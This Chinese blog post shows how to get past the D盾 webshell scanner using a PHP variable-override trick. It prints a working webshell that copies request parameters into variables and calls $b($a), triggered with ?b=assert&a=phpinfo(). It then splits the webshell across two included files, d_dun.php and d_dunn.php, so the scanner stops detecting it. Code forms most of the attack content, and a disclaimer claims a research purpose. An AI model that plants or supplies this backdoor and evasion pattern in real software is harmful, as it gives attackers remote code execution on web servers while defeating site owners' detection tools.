简介
发现最近过waf
很好玩,异想天开的写代码就好了(当然要写的对),然后自己也来试一试,想到了利用变量覆盖来绕过~
开始玩耍吧
首先,我们先来了解一下变量覆盖漏洞,这里我之前写过一个文章,可以转到此处看(https://www.zybuluo.com/1kbfree/note/1135811),然后这里运用的就是$$
变量覆盖方法,代码如下
<?php $a = '小狗狗你好啊'; $b = '小盾盾你好啊'; // 你妹 foreach ($_REQUEST as $key => $value) { $$key = $value; } $b( $a );
然后访问并且带上参数?b=assert&a=phpinfo();
就可以执行phpinfo
函数,如下
然后放到D
盾处骚(我日,输入法自己打的)一下
此时心情 -> 你妹,擦。ooxx$@%awdaw..(省略一万字)
这都给拦截了,好吧,然后就试了一下然后发现很多办法都没成功,虽然级别只是1
,但是依旧不是最完美的,然后就在i春秋看到一个表哥利用分离方法来绕过了,很骚气,原文链接:https://bbs.ichunqiu.com/thread-25644-1-1.html。。。 然后我也试一下,发现是可以绕过的,如下
然后再放D
盾扫下
嘻嘻,这里D
盾已经没扫到了(谢谢盾哥配合啊) 你妹
最后d_dun.php代码是
<?php $a = '小狗狗你好啊'; $b = '小盾盾你好啊'; // 你妹 foreach ($_REQUEST as $key => $value) { $$key = $value; }
d_dunn.php代码是
<?php include 'd_dun.php'; $b( $a );
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论